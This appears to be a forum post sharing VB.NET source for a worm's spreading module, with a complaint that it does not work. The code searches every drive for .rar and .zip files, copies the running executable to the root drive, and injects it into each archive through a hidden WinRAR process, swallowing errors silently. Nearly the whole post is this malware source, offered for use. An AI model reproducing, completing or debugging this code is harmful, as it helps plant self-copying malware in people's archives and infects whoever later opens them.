It's copied of the other post about .rar .zip spread.
Code of the main program:
Code of the class .rar:
Not works ;( 😭
Code of the main program:
Code
Imports System
Imports System.Diagnostics
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text
Module Program
Public Sub Main()
If Not File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\temp48.txt") Then
Try
Rar.Spread("RunFirst.exe")
Catch
End Try
End If
End Sub
End ModuleCode of the class .rar:
Code
Imports System
Imports System.Diagnostics
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text
Public Class Rar
<DllImport("kernel32.dll", CharSet := CharSet.Auto)> _
Public Shared Function GetShortPathName(<MarshalAs(UnmanagedType.LPTStr)> path As String, <MarshalAs(UnmanagedType.LPTStr)> shortPath As StringBuilder, shortPathLength As Integer) As Integer
End Function
Shared _rarPath As String
Shared _copiedExeName As String
Private Shared Sub Search(pathName As String)
Dim files As String()
files = Directory.GetFiles(pathName)
For Each file As String In files
If file.Contains(".rar") Then
RarStart(file)
End If
If file.Contains(".zip") Then
RarStart(file)
End If
Next
Dim subdirectorys As String() = Directory.GetDirectories(pathName)
For Each subdirectory As String In subdirectorys
Search(subdirectory)
Next
End Sub
Public Shared Sub Spread(myExeName As String)
_copiedExeName = myExeName
Dim drives As String() = Environment.GetLogicalDrives()
For Each strDrive As String In drives
Search(strDrive)
Next
File.Create(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\temp48.txt")
End Sub
Public Shared Sub RarStart(archiveToInject As String)
Dim sysFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
Dim rootdrive As String = sysFolder.Replace(sysFolder.Substring(sysFolder.IndexOf("\")), [String].Empty) & "\"
_rarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) & "\WinRAR\WinRAR.exe"
If File.Exists(_rarPath) Then
If Not File.Exists(Path.Combine(rootdrive, _copiedExeName)) Then
'copy our exe to C:\ (or other root drive)
File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(rootdrive, _copiedExeName))
End If
'get the short path of our exe
Dim getshortExePath = New StringBuilder(255)
GetShortPathName(Path.Combine(rootdrive, _copiedExeName), getshortExePath, getshortExePath.Capacity)
Dim evilpath As String = getshortExePath.ToString()
'get the short path name of the archive to inject
Dim shortArchiveDirectory = New StringBuilder(255)
GetShortPathName(archiveToInject, shortArchiveDirectory, shortArchiveDirectory.Capacity)
Try
Dim rarProcess As New ProcessStartInfo()
Dim theInfo As String = " a " & Convert.ToString(shortArchiveDirectory) & " " & evilpath
rarProcess.FileName = _rarPath
rarProcess.Arguments = theInfo
rarProcess.WindowStyle = ProcessWindowStyle.Hidden
Process.Start(rarProcess)
'silent error
Catch
End Try
End If
End Sub
End ClassNot works ;( 😭


